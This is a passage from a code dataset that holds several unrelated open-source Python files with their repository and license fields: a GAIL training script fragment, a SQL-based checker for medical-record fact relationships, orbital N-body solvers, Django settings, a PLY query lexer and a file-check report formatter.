normalize(GymEnv(env_id),\n initial_obs_mean= initial_obs_mean,\n initial_obs_var= initial_obs_var,\n normalize_obs= True,\n running_obs= False)\nenv = TfEnv(g_env)\n\n## DEFINE POLICY, ADVERSARY, AND BASELINE NETWORKS\n# create policy\nif args.policy_type == 'mlp':\n policy = GaussianMLPPolicy('mlp_policy', env.spec, hidden_sizes= p_hspec,\n std_hidden_nonlinearity=nonlinearity,hidden_nonlinearity=nonlinearity,\n batch_normalization=args.batch_normalization\n )\n\nelif args.policy_type == 'gru':\n if p_hspec == []:\n feat_mlp = None\n else: # create feature extracting mlp to feed into gru.\n feat_mlp = MLP('mlp_policy', p_hspec[-1], p_hspec[:-1], nonlinearity, output_activation,\n input_shape= (np.prod(env.spec.observation_space.shape),),\n batch_normalization=args.batch_normalization)\n policy = GaussianGRUPolicy(name= 'gru_policy', env_spec= env.spec,\n hidden_dim= args.gru_dim,\n feature_network=feat_mlp,\n state_include_action=False)\nelse:\n raise NotImplementedError\n\n# create baseline\nif args.baseline_type == 'linear':\n baseline = LinearFeatureBaseline(env_spec=env.spec)\n\nelif args.baseline_type == 'mlp':\n baseline = BaselineMLP(name='mlp_baseline',\n output_dim=1,\n hidden_sizes= b_hspec,\n hidden_nonlinearity=nonlinearity,\n output_nonlinearity=None,\n input_shape=(np.prod(env.spec.observation_space.shape),),\n batch_normalization=args.batch_normalization)\n baseline.initialize_optimizer()\nelse:\n raise NotImplementedError\n\n# create adversary / discriminator network which will act as surrogate reward.\nreward = RewardMLP('mlp_reward', 1, r_hspec, nonlinearity,tf.nn.sigmoid,\n input_shape= (np.prod(env.spec.observation_space.shape) + env.action_dim,),\n batch_normalization= args.batch_normalization)\n\n## DEFINE TRAINING ALGORITHM: GENERATIVE ADVERSARIAL IMITATION LEARNING\nalgo = GAIL(\n env=env,\n policy=policy,\n baseline=baseline,\n reward=reward,\n expert_data=expert_data,\n batch_size= args.trpo_batch_size,\n gail_batch_size=args.gail_batch_size,\n max_path_length=args.max_traj_len,\n n_itr=args.n_iter,\n discount=args.discount,\n #step_size=0.01,\n step_size=args.trpo_step_size,\n force_batch_sampler= True,\n whole_paths= True,\n adam_steps= args.adam_steps,\n decay_rate= args.decay_rate,\n decay_steps= args.decay_steps,\n act_mean= initial_act_mean,\n act_std= initial_act_std,\n freeze_upper = args.freeze_upper,\n freeze_lower = args.freeze_lower,\n fo_optimizer_cls= tf.train.AdamOptimizer,\n fo_optimizer_args= dict(learning_rate = args.adam_lr,\n beta1 = args.adam_beta1,\n beta2 = args.adam_beta2,\n epsilon= args.adam_epsilon),\n optimizer=ConjugateGradientOptimizer(hvp_approach=FiniteDifferenceHvp(base_eps=1e-5))\n)\n\n# crufty code for saving to h5. We probably don't want this.\ndate= calendar.datetime.date.today().strftime('%y-%m-%d')\nif date not in os.listdir(rllab_path+'/data'):\n os.mkdir(rllab_path+'/data/'+date)\nc = 0\nexp_name = args.exp_name + '-'+str(c)\nwhile exp_name in os.listdir(rllab_path+'/data/'+date+'/'):\n c += 1\n exp_name = args.exp_name + '-'+str(c)\n\nexp_dir = date+'/'+exp_name\nlog_dir = osp.join(config.LOG_DIR, exp_dir)\npolicy.set_log_dir(log_dir)\n\n# run the algorithm and save everything to rllab's pickle format.\nrunner = RLLabRunner(algo, args, exp_dir)\nrunner.train()\n", "source": "windweller/nlplab", "license": "MIT"}
+{"text": "from __future__ import division\nimport logging\nimport time\n\nfrom pedsnetdcc.db import Statement, StatementSet\nfrom pedsnetdcc.dict_logging import secs_since\nfrom pedsnetdcc.utils import check_stmt_data, check_stmt_err, combine_dicts\n\n# TODO: Make below code dependent on the pedsnetdcc.FACT_RELATIONSHIP_DOMAINS\n# dictionary, allowing for easy addition of new domains to the table.\n\n# The below total fact_relationship record count statements assume that\n# domain_concept_id_1 defines a record as being in a domain.\n\ntot_obs_sql = '''\nSELECT COUNT(*) FROM fact_relationship WHERE domain_concept_id_1 = 27\n'''\ntot_obs_msg = 'counting total observation records in fact relationship'\n\ntot_meas_sql = '''\nSELECT COUNT(*) FROM fact_relationship WHERE domain_concept_id_1 = 21\n'''\ntot_meas_msg = 'counting total measurement records in fact relationship'\n\ntot_visit_sql = '''\nSELECT COUNT(*) FROM fact_relationship WHERE domain_concept_id_1 = 8\n'''\ntot_visit_msg = 'counting total visit records in fact relationship'\n\ntot_drug_sql = '''\nSELECT COUNT(*) FROM fact_relationship WHERE domain_concept_id_1 = 13\n'''\ntot_drug_msg = 'counting total drug records in fact relationship'\n\n# The below bad fact_relationship record count statements return the\n# number of bad *records* not the number of bad *references*. There may be\n# more than one (two) bad references per record.\n\nbad_obs_sql = '''\nSELECT COUNT(*) FROM (\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN observation o ON f.fact_id_1 = o.observation_id\n WHERE domain_concept_id_1 = 27 AND o.observation_id IS NULL\nUNION\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN observation o ON f.fact_id_2 = o.observation_id\n WHERE domain_concept_id_2 = 27 AND o.observation_id IS NULL\n) q\n'''\nbad_obs_msg = 'counting invalid observation records in fact relationship'\n\nbad_meas_sql = '''\nSELECT COUNT(*) FROM (\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN measurement m ON f.fact_id_1 = m.measurement_id\n WHERE domain_concept_id_1 = 21 AND m.measurement_id IS NULL\nUNION\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN measurement m ON f.fact_id_2 = m.measurement_id\n WHERE domain_concept_id_2 = 21 AND m.measurement_id IS NULL\n) q\n'''\nbad_meas_msg = 'counting invalid measurement records in fact relationship'\n\nbad_visit_sql = '''\nSELECT COUNT(*) FROM (\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN visit_occurrence v ON f.fact_id_1 = v.visit_occurrence_id\n WHERE domain_concept_id_1 = 8 AND v.visit_occurrence_id IS NULL\nUNION\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN visit_occurrence v ON f.fact_id_2 = v.visit_occurrence_id\n WHERE domain_concept_id_2 = 8 AND v.visit_occurrence_id IS NULL\n) q\n'''\nbad_visit_msg = 'counting invalid visit records in fact relationship'\n\nbad_drug_sql = '''\nSELECT COUNT(*) FROM (\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN drug_exposure d ON f.fact_id_1 = d.drug_exposure_id\n WHERE domain_concept_id_1 = 13 AND d.drug_exposure_id IS NULL\nUNION\n SELECT f.*\n FROM fact_relationship f\n LEFT JOIN drug_exposure d ON f.fact_id_2 = d.drug_exposure_id\n WHERE domain_concept_id_2 = 13 AND d.drug_exposure_id IS NULL\n) q\n'''\nbad_drug_msg = 'counting invalid drug records in fact relationship'\n# The below bad fact_relationship sample statements check each fact_id field\n# independently for each domain.\n\nbad_obs_1_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN observation o ON f.fact_id_1 = o.observation_id\nWHERE domain_concept_id_1 = 27 AND o.observation_id IS NULL\nLIMIT 1\n'''\nbad_obs_1_msg = 'searching for invalid observation ref in fact_id_1'\n\nbad_obs_2_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN observation o ON f.fact_id_2 = o.observation_id\nWHERE domain_concept_id_2 = 27 AND o.observation_id IS NULL\nLIMIT 1\n'''\nbad_obs_2_msg = 'searching for invalid observation ref in fact_id_2'\n\nbad_meas_1_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN measurement m ON f.fact_id_1 = m.measurement_id\nWHERE domain_concept_id_1 = 21 AND m.measurement_id IS NULL\nLIMIT 1\n'''\nbad_meas_1_msg = 'searching for invalid measurement ref in fact_id_1'\n\nbad_meas_2_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN measurement m ON f.fact_id_2 = m.measurement_id\nWHERE domain_concept_id_2 = 21 AND m.measurement_id IS NULL\nLIMIT 1\n'''\nbad_meas_2_msg = 'searching for invalid measurement ref in fact_id_2'\n\nbad_visit_1_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN visit_occurrence v ON f.fact_id_1 = v.visit_occurrence_id\nWHERE domain_concept_id_1 = 8 AND v.visit_occurrence_id IS NULL\nLIMIT 1\n'''\nbad_visit_1_msg = 'searching for invalid visit ref in fact_id_1'\n\nbad_visit_2_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN visit_occurrence v ON f.fact_id_2 = v.visit_occurrence_id\nWHERE domain_concept_id_2 = 8 AND v.visit_occurrence_id IS NULL\nLIMIT 1\n'''\nbad_visit_2_msg = 'searching for invalid visit ref in fact_id_2'\n\nbad_drug_1_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN drug_exposure d ON f.fact_id_1 = d.drug_exposure_id\nWHERE domain_concept_id_1 = 13 AND d.drug_exposure_id IS NULL\nLIMIT 1\n'''\nbad_drug_1_msg = 'searching for invalid drug ref in fact_id_1'\n\nbad_drug_2_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN drug_exposure d ON f.fact_id_2 = d.drug_exposure_id\nWHERE domain_concept_id_2 = 13 AND d.drug_exposure_id IS NULL\nLIMIT 1\n'''\nbad_drug_2_msg = 'searching for invalid drug ref in fact_id_2'\n\nlogger = logging.getLogger(__name__)\n\n\ndef check_fact_relationship(conn_str, output='both', pool_size=None):\n \"\"\"Check the referential integrity of the fact relationship table.\n\n Execute sql statements, in parallel, to inspect the fact relationship table\n for validity and format and log the results for user inspection. Return a\n boolean to indicate whether the table is valid or not. The `pool_size`\n parameter can optionally be used to control the number of parallel workers\n to use when executing the sql statements.\n\n If `output` is 'percent', count the total records and bad records in each\n of the three current fact domains. If no bad records are found, emit an\n info-level log message for each domain saying so. If any bad records are\n found, emit a warning-level log message with the results, for each domain.\n\n If `output` is 'samples', try to find one sample of a bad record in each\n domain for each fact id field and either emit an info-level log message\n saying that none were found or emit a warning-level log message with the\n results.\n\n If `output` is 'both', both sets of checks are run. This is the default.\n\n :param str conn_str: the connection string for the database\n :param str output: the type of checks to run and output to produce\n :param pool_size: the number of parallel workers to use\n :type pool_size: None or int\n :returns: whether the table is valid\n :rtype: bool\n :raises RuntimeError: if data is not returned from one of the sql queries\n \"\"\"\n\n logger.info({'msg': 'starting fact relationship check'})\n starttime = time.time()\n\n stmts = StatementSet()\n\n # Build appropriate set of statements based on output type.\n if output in ['percent', 'both']:\n\n stmts.add(Statement(tot_obs_sql, tot_obs_msg))\n stmts.add(Statement(tot_meas_sql, tot_meas_msg))\n stmts.add(Statement(tot_visit_sql, tot_visit_msg))\n stmts.add(Statement(tot_drug_sql, tot_drug_msg))\n stmts.add(Statement(bad_obs_sql, bad_obs_msg))\n stmts.add(Statement(bad_meas_sql, bad_meas_msg))\n stmts.add(Statement(bad_visit_sql, bad_visit_msg))\n stmts.add(Statement(bad_drug_sql, bad_drug_msg))\n\n\n if output in ['samples', 'both']:\n\n stmts.add(Statement(bad_obs_1_sql, bad_obs_1_msg))\n stmts.add(Statement(bad_obs_2_sql, bad_obs_2_msg))\n stmts.add(Statement(bad_meas_1_sql, bad_meas_1_msg))\n stmts.add(Statement(bad_meas_2_sql, bad_meas_2_msg))\n stmts.add(Statement(bad_visit_1_sql, bad_visit_1_msg))\n stmts.add(Statement(bad_visit_2_sql, bad_visit_2_msg))\n stmts.add(Statement(bad_drug_1_sql, bad_drug_1_msg))\n stmts.add(Statement(bad_drug_2_sql, bad_drug_2_msg))\n\n stmts.parallel_execute(conn_str, pool_size)\n\n results = {\n 'obs': {'total': None, 'bad': None, 'percent': None,\n 'samples': [], 'valid': True},\n 'meas': {'total': None, 'bad': None, 'percent': None,\n 'samples': [], 'valid': True},\n 'visit': {'total': None, 'bad': None, 'percent': None,\n 'samples': [], 'valid': True},\n 'drug': {'total': None, 'bad': None, 'percent': None,\n 'samples': [], 'valid': True},\n\n }\n\n for stmt in stmts:\n\n # Will raise RuntimeError if stmt.err is not None.\n check_stmt_err(stmt, 'fact relationship check')\n\n # Place results into intermediate data structure. Note that only the\n # data relevant to the output type will be populated and that only\n # statements which are expected to produce data are checked for it,\n # raising a RuntimeError if stmt.data is None or 0 length.\n\n sample = None\n\n if stmt.msg == tot_obs_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['obs']['total'] = stmt.data[0][0]\n\n elif stmt.msg == tot_meas_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['meas']['total'] = stmt.data[0][0]\n\n elif stmt.msg == tot_visit_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['visit']['total'] = stmt.data[0][0]\n\n elif stmt.msg == tot_drug_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['drug']['total'] = stmt.data[0][0]\n\n elif stmt.msg == bad_obs_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['obs']['bad'] = stmt.data[0][0]\n\n elif stmt.msg == bad_meas_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['meas']['bad'] = stmt.data[0][0]\n\n elif stmt.msg == bad_visit_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['visit']['bad'] = stmt.data[0][0]\n\n elif stmt.msg == bad_drug_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['drug']['bad'] = stmt.data[0][0]\n\n elif stmt.msg == bad_obs_1_msg:\n if len(stmt.data) > 0:\n domain = 'obs'\n field = 'fact_id_1'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_obs_2_msg:\n if len(stmt.data) > 0:\n domain = 'obs'\n field = 'fact_id_2'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_meas_1_msg:\n if len(stmt.data) > 0:\n domain = 'meas'\n field = 'fact_id_1'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_meas_2_msg:\n if len(stmt.data) > 0:\n domain = 'meas'\n field = 'fact_id_2'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_visit_1_msg:\n if len(stmt.data) > 0:\n domain = 'visit'\n field = 'fact_id_1'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_visit_2_msg:\n if len(stmt.data) > 0:\n domain = 'visit'\n field = 'fact_id_2'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_drug_1_msg:\n if len(stmt.data) > 0:\n domain = 'drug'\n field = 'fact_id_1'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_drug_2_msg:\n if len(stmt.data) > 0:\n domain = 'drug'\n field = 'fact_id_2'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n if sample:\n results[domain]['samples'].append({'field': field,\n 'row': sample})\n\n # Calculate derived results.\n for domain, result in results.items():\n if result['bad'] and result['total']:\n result['percent'] = (result['bad'] * 100 // result['total'])\n\n if ((result['bad'] and result['bad'] > 0) or\n len(result['samples']) > 0):\n result['valid'] = False\n\n # Output messages based on results.\n if results['obs']['valid']:\n logger.info({\n 'msg': 'all fact relationship observation references are valid'\n })\n else:\n logger.warn(combine_dicts({'msg': 'fact relationship table has bad'\n ' observation references'},\n results['obs']))\n\n if results['meas']['valid']:\n logger.info({\n 'msg': 'all fact relationship measurement references are valid'\n })\n else:\n logger.warn(combine_dicts({'msg': 'fact relationship table has bad'\n ' measurement references'},\n results['meas']))\n\n if results['visit']['valid']:\n logger.info({\n 'msg': 'all fact relationship visit references are valid'\n })\n else:\n logger.warn(combine_dicts({'msg': 'fact relationship table has bad'\n ' visit references'},\n results['visit']))\n\n if results['drug']['valid']:\n logger.info({\n 'msg': 'all fact relationship drug references are valid'\n })\n else:\n logger.warn(combine_dicts({'msg': 'fact relationship table has bad'\n ' drug references'},\n results['drug']))\n\n # Overall fact relationship validity.\n valid = (results['obs']['valid'] and results['meas']['valid'] and\n results['visit']['valid'] and results['drug']['valid'])\n\n # Output summary message.\n logger.info({'msg': 'finished fact relationship check', 'valid': valid,\n 'elapsed': secs_since(starttime)})\n\n return valid\n", "source": "PEDSnet/pedsnetdcc", "license": "BSD-2-Clause"}
+{"text": "\"\"\" Functions to solve orbiting bodies problems.\r\nWritten by: Jeremie X. J. Bannwarth\r\n\"\"\"\r\nimport numpy as np\r\nfrom orbitutils.solvers import rkf45\r\n\r\n\r\ndef two_body_3d_rates(t, Y, m1=1., m2=.1):\r\n \"\"\"Find the state derivatives for the two body problem in 3D.\r\n\r\n Parameters\r\n ----------\r\n t : float\r\n Time to evaluate the derivatives at.\r\n Y : numpy.array\r\n State vector.\r\n m1 : float\r\n Mass of the first body (kg).\r\n m2 : float\r\n Mass of the second body (kg).\r\n\r\n Returns\r\n -------\r\n F : numpy.array\r\n Array of state derivatives.\r\n \"\"\"\r\n # Extract vectors from state vector\r\n R1 = Y[0:3]\r\n R2 = Y[3:6]\r\n V1 = Y[6:9]\r\n V2 = Y[9:12]\r\n\r\n # Constants\r\n G = 6.64742e-11\r\n\r\n # Position vector of m2 relative to m1\r\n R = R2 - R1\r\n r = np.linalg.norm(R)\r\n\r\n # Compute derivatives\r\n F = np.zeros(Y.shape)\r\n F[0:3] = V1 # dR1/dt = V1\r\n F[3:6] = V2 # dR2/dt = V2\r\n F[6:9] = G * m2 * R / r**3\r\n F[9:12] = - G * m1 * R / r**3\r\n\r\n return F\r\n\r\n\r\ndef two_body_3d(R1_0, R2_0, V1_0, V2_0, m1, m2, tSpan=np.array([0., 10.0])):\r\n \"\"\" Compute the position and velocity of two bodies in 3D over time.\r\n\r\n Parameters\r\n ----------\r\n R1_0 : numpy.array\r\n Initial position of the first body.\r\n R2_0 : numpy.array\r\n Initial position of the second body.\r\n V1_0 : numpy.array\r\n Initial velocity of the first body.\r\n V2_0 : numpy.array\r\n Initial velocity of the second body.\r\n m1 : float\r\n Mass of the first body (kg).\r\n m2 : float\r\n Mass of the second body (kg).\r\n tSpan : numpy.array\r\n Range of times to solve for.\r\n\r\n Returns\r\n -------\r\n ys : numpy.array\r\n State time response.\r\n ts : numpy.array\r\n Time vector.\r\n \"\"\"\r\n Y0 = np.concatenate((R1_0, R2_0, V1_0, V2_0))\r\n\r\n # Create anonymous function to pass m1 and m2\r\n def rates(t, Y): return two_body_3d_rates(t, Y, m1, m2)\r\n\r\n ys, ts = rkf45(rates, Y0, tSpan)\r\n\r\n return (ys, ts)\r\n\r\n\r\ndef n_body_3d_rates(t, Y, M):\r\n \"\"\"Find the state derivatives for the N body problem in 3D.\r\n\r\n Parameters\r\n ----------\r\n t : float\r\n Time to evaluate the derivatives at.\r\n Y : numpy.array\r\n State vector.\r\n M : numpy.array\r\n Array of the masses of the N bodies (kg).\r\n\r\n Returns\r\n -------\r\n F : numpy.array\r\n Array of state derivatives.\r\n \"\"\"\r\n # Extract vectors from state vector\r\n n = M.shape[0]\r\n\r\n # Store the vectors for each mass in a different column\r\n R = np.reshape(Y[0:n * 3], (3, n), order='F')\r\n V = np.reshape(Y[n * 3:], (3, n), order='F')\r\n\r\n # Constants\r\n G = 6.67259e-11\r\n\r\n # Find acceleration\r\n A = np.zeros(V.shape)\r\n for m in range(n):\r\n R_m = R[:, m]\r\n R_other = np.delete(R, m, 1) - np.reshape(R_m, (3, 1))\r\n r_other = np.linalg.norm(R_other, axis=0)\r\n M_other = np.delete(M, m, 0)\r\n A[:, m] = np.sum(G * M_other * R_other / r_other**3, axis=1)\r\n\r\n # Assign the rates\r\n F = np.concatenate((np.reshape(V, (n * 3,), order='F'),\r\n np.reshape(A, (n * 3,), order='F')))\r\n return F\r\n\r\n\r\ndef n_body_3d(R_0, V_0, M, tSpan=np.array([0., 10.0])):\r\n \"\"\" Compute the position and velocity of N bodies in 3D over time.\r\n\r\n Parameters\r\n ----------\r\n R_0 : numpy.array\r\n Vector of initial positions of the N bodies in the form\r\n [x1 y1 z1 x2 y2 z2 ...]\r\n V_0 : numpy.array\r\n Vector of initial velocities of the N bodies in the form\r\n [vx1 vy1 vz1 vx2 vy2 vz2 ...]\r\n M : float\r\n Vector of masses (kg) in the form\r\n [m1 m2 m3 ...]\r\n tSpan : numpy.array\r\n Range of times to solve for.\r\n\r\n Returns\r\n -------\r\n ys : numpy.array\r\n State time response.\r\n ts : numpy.array\r\n Time vector.\r\n \"\"\"\r\n n = M.shape[0]\r\n Y0 = np.concatenate((np.reshape(R_0, (n * 3,), order='F'),\r\n np.reshape(V_0, (n * 3,), order='F')))\r\n\r\n # Create anonymous function to pass m1 and m2\r\n def rates(t, Y): return n_body_3d_rates(t, Y, M)\r\n\r\n ys, ts = rkf45(rates, Y0, tSpan)\r\n\r\n return (ys, ts)\r\n\r\n\r\ndef orbit_rates(t, Y, m1, m2):\r\n \"\"\"Find the state derivatives for the relative orbit problem.\r\n\r\n m1 has a non-rotating cartesian coordinate frame.\r\n\r\n Parameters\r\n ----------\r\n t : float\r\n Time to evaluate the derivatives at.\r\n Y : numpy.array\r\n State vector (km or km/s).\r\n m1 : float\r\n Mass of body 1 (kg).\r\n m2 : float\r\n Mass of body 2 (kg).\r\n\r\n Returns\r\n -------\r\n F : numpy.array\r\n Array of state derivatives.\r\n \"\"\"\r\n # Store the vectors for each mass in a different column\r\n R = Y[0:3]\r\n RDot = Y[3:6]\r\n\r\n # Constants\r\n G = 6.67259e-20\r\n\r\n # Find acceleration\r\n mu = G * (m1 + m2)\r\n r = np.linalg.norm(R)\r\n RDDot = - R * mu / r**3\r\n\r\n # Assign the rates\r\n F = np.concatenate((RDot, RDDot))\r\n return F\r\n\r\n\r\ndef orbit(R_0, V_0, M, tSpan):\r\n \"\"\" Compute the position and velocity of m1 relative to m2.\r\n\r\n m1 has a non-rotating cartesian coordinate frame.\r\n\r\n Parameters\r\n ----------\r\n R_0 : numpy.array\r\n Initial position of m1 relative to m2 (km).\r\n V_0 : numpy.array\r\n Initial velocity of m1 relative to m2 (km/s).\r\n M : numpy.array\r\n Vector of masses (kg) in the form [m1 m2].\r\n tSpan : numpy.array\r\n Range of times to solve for.\r\n\r\n Returns\r\n -------\r\n ys : numpy.array\r\n State time response.\r\n ts : numpy.array\r\n Time vector.\r\n \"\"\"\r\n Y_0 = np.concatenate((R_0, V_0))\r\n\r\n # Create anonymous function to pass m1 and m2\r\n def rates(t, Y): return orbit_rates(t, Y, M[0], M[1])\r\n\r\n ys, ts = rkf45(rates, Y_0, tSpan)\r\n\r\n return (ys, ts)\r\n", "source": "JBannwarth/orbitutils", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\" Settings for the Experiment Data Depot. \"\"\"\n\n# import baseline settings included in EDD's git repo\nfrom .base import * # noqa\nfrom .auth import * # noqa\nfrom .celery import * # noqa\n\n# try to load overridden settings from local.py, if present\ntry:\n from .local import * # noqa\nexcept ImportError as e:\n print(\"Did not find local settings; did you rename settings/local.py-example?\")\n\n# After all settings are imported, do any necessary registration of values\ntry:\n from jbei.rest.auth import HmacAuth\n HmacAuth.register_key(ICE_KEY_ID, ICE_SECRET_HMAC_KEY) # noqa\nexcept ImportError as e:\n print(\"Failed to import REST authenticators; some features may not work.\")\nexcept Exception as e:\n print(\"Failed to register ICE authenticator; connection to ICE may not work: %s\" % e)\n", "source": "TeselaGen/jbei-edd", "license": "BSD-3-Clause-LBNL"}
+{"text": "#coding: u8\n\nimport ply.lex as lex\n\ntokens = (\n 'WHITE',\n 'WHERE',\n 'INT',\n 'FLOAT',\n 'STR',\n 'DOT',\n 'COMMA',\n 'LPAREN',\n 'RPAREN',\n 'LBRACKET',\n 'RBRACKET',\n 'SELECT',\n 'AND',\n 'OR',\n 'NOT',\n 'IN',\n 'EQ',\n 'NE',\n 'GT',\n 'LT',\n 'GE',\n 'LE',\n 'KEYWORD',\n)\n\nt_WHITE = r'\\s+'\nt_DOT = r'\\.'\nt_COMMA = r'\\,'\nt_LPAREN = r'\\('\nt_RPAREN = r'\\)'\nt_LBRACKET = r'\\['\nt_RBRACKET = r'\\]'\nt_EQ = r'\\s*==\\s*'\nt_NE = r'\\s*!=\\s*'\nt_GT = r'\\s*\\>\\s*'\nt_LT = r'\\s*\\<\\s*'\nt_GE = r'\\s*\\>=\\s*'\nt_LE = r'\\s*\\<=\\s*'\n\n\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n\ndef t_error(t):\n pass\n\ndef t_FLOAT(t):\n r'(\\+|\\-)?\\d+.\\d+'\n t.value = float(t.value)\n return t\n\ndef t_INT(t):\n r'(\\+|\\-)?\\d+'\n t.value = int(t.value)\n return t\n\ndef t_STR(t):\n r'\"(\\\\.|[^\"])*\"'\n t.value = eval(t.value)\n return t\n\ndef t_SELECT(t):\n r'select\\s+'\n return t\n\ndef t_WHERE(t):\n r'\\s+where\\s+'\n return t\n\ndef t_AND(t):\n r'\\s+and\\s+'\n return t\n\ndef t_OR(t):\n r'\\s+or\\s+'\n return t\n\ndef t_NOT(t):\n r'not\\s+'\n return t\n\ndef t_IN(t):\n r'in'\n return t\n\ndef t_KEYWORD(t):\n r'[a-zA-Z][a-zA-Z0-9_]*'\n return t\n\nlexer = lex.lex()\n\nif __name__ == '__main__':\n import sys\n data = sys.stdin.read()\n lexer.input(data)\n while True:\n token = lexer.token()\n if not token:\n break\n print token\n", "source": "lennon-guan/jselect", "license": "MIT"}
+{"text": "\"\"\"Handles summarizing and formatting results. Main class is CheckReport.\"\"\"\nimport base64\nfrom io import BytesIO\nimport os\nfrom PIL import Image\nfrom terminaltables import AsciiTable\nfrom typing import List\nfrom spot_check_files.checker import FileSummary\n\n\ndef _print_thumbs(summaries):\n try:\n from imgcat import imgcat\n except ImportError:\n return\n\n while summaries:\n # Combine images to show three per line in the output\n group = [s.result.thumb for s in summaries[0:3]]\n boxes = [i.getbbox() for i in group]\n if any(boxes):\n width = sum(b[2] - b[0] + 1 for b in boxes if b)\n height = max(b[3] - b[1] + 1 for b in boxes if b)\n img = Image.new('RGBA', (width, height))\n x = 0\n for i in range(len(group)):\n if boxes[i] is None:\n continue\n img.paste(group[i], (x, 0))\n x += boxes[i][2] - boxes[i][0] + 1\n imgcat(img)\n summaries = summaries[3:]\n\n\nclass _GroupStats:\n def __init__(self, name: str, summaries: List[FileSummary],\n comparison: List[FileSummary] = None):\n self.name = name\n self.count = len(summaries)\n self.size = sum(s.size for s in summaries)\n self.count_pct = ''\n self.size_pct = ''\n if comparison:\n self.count_pct = '{:.0%}'.format(self.count / len(comparison))\n self.size_pct = '{:.0%}'.format(\n self.size / sum(s.size for s in comparison))\n\n\nclass CheckReport:\n \"\"\"Formats and displays results from a CheckerRunner.\"\"\"\n def __init__(self, summaries: List[FileSummary]):\n self.summaries = summaries\n arch_summaries = [s for s in summaries\n if s.result.extracted\n and not s.result.errors]\n leaf_summaries = [s for s in summaries\n if s.result.errors or not s.result.extracted]\n skip_summaries = [s for s in leaf_summaries if s.result.skipped]\n # If we ever get something that was extracted then marked as skipped,\n # a Checker is misusing the Checker API.\n # TODO: enforce this better, somewhere else\n assert not [s for s in arch_summaries if s.result.skipped]\n self.err_summaries = [s for s in leaf_summaries if s.result.errors]\n self.thumb_summaries = [s for s in leaf_summaries if s.result.thumb]\n self.groups = [\n _GroupStats('Archives (without errors)', arch_summaries),\n _GroupStats('Files (excludes errorless archives)',\n leaf_summaries),\n _GroupStats('Skipped files', skip_summaries, leaf_summaries),\n _GroupStats('Files with thumbnails', self.thumb_summaries,\n leaf_summaries),\n _GroupStats('Files with ERRORS', self.err_summaries,\n leaf_summaries),\n ]\n\n by_rec = {}\n unrec_by_ext = {}\n for summary in leaf_summaries:\n if summary.result.recognizer is None:\n ext = summary.virtpath.suffix\n if ext not in unrec_by_ext:\n unrec_by_ext[ext] = []\n unrec_by_ext[ext].append(summary)\n else:\n rec = str(summary.result.recognizer)\n if rec not in by_rec:\n by_rec[rec] = []\n by_rec[rec].append(summary)\n\n for rec in sorted(by_rec.keys()):\n self.groups.append(_GroupStats(f'Recognized by {rec}',\n by_rec[rec], leaf_summaries))\n\n for ext in sorted(unrec_by_ext.keys()):\n if not ext:\n continue\n self.groups.append(_GroupStats(\n f'Unrecognized with extension {ext}',\n unrec_by_ext[ext], leaf_summaries))\n if '' in unrec_by_ext:\n self.groups.append(_GroupStats(\n 'Other unrecognized', unrec_by_ext[''], leaf_summaries))\n\n def print(self):\n \"\"\"Prints the report to the terminal.\n\n If using iTerm2, thumbnails are displayed; otherwise, they are\n not used.\n \"\"\"\n if os.environ.get('TERM_PROGRAM', None) == 'iTerm.app':\n _print_thumbs(self.thumb_summaries)\n\n for summary in self.err_summaries:\n print(f'ERRORS for {summary.virtpath}')\n for err in summary.result.errors:\n print(f'\\t{err}')\n print()\n\n stats = [('Group', 'Files', 'Size', '% Files', '% Size')]\n stats.extend((g.name,\n g.count,\n g.size,\n g.count_pct,\n g.size_pct) for g in self.groups)\n table = AsciiTable(stats)\n for i in range(1, 5):\n table.justify_columns[i] = 'right'\n print(table.table)\n\n def html(self) -> str:\n \"\"\"Returns an HTML version of the report, as a string.\"\"\"\n from jinja2 import Environment, PackageLoader, select_autoescape\n\n def thumburl(summary):\n data = BytesIO()\n summary.result.thumb.save(data, 'png')\n encdata = base64.b64encode(data.getvalue()).decode('utf-8')\n return f'data:image/png;base64,{encdata}'\n\n env = Environment(\n loader=PackageLoader('spot_check_files', '_templates'),\n autoescape=select_autoescape(['html']),\n trim_blocks=True)\n env.globals['thumburl'] = thumburl\n template = env.get_template('report.html')\n return template.render(vars(self))\n", "source": "brokensandals/spot_check_files", "license": "MIT"}
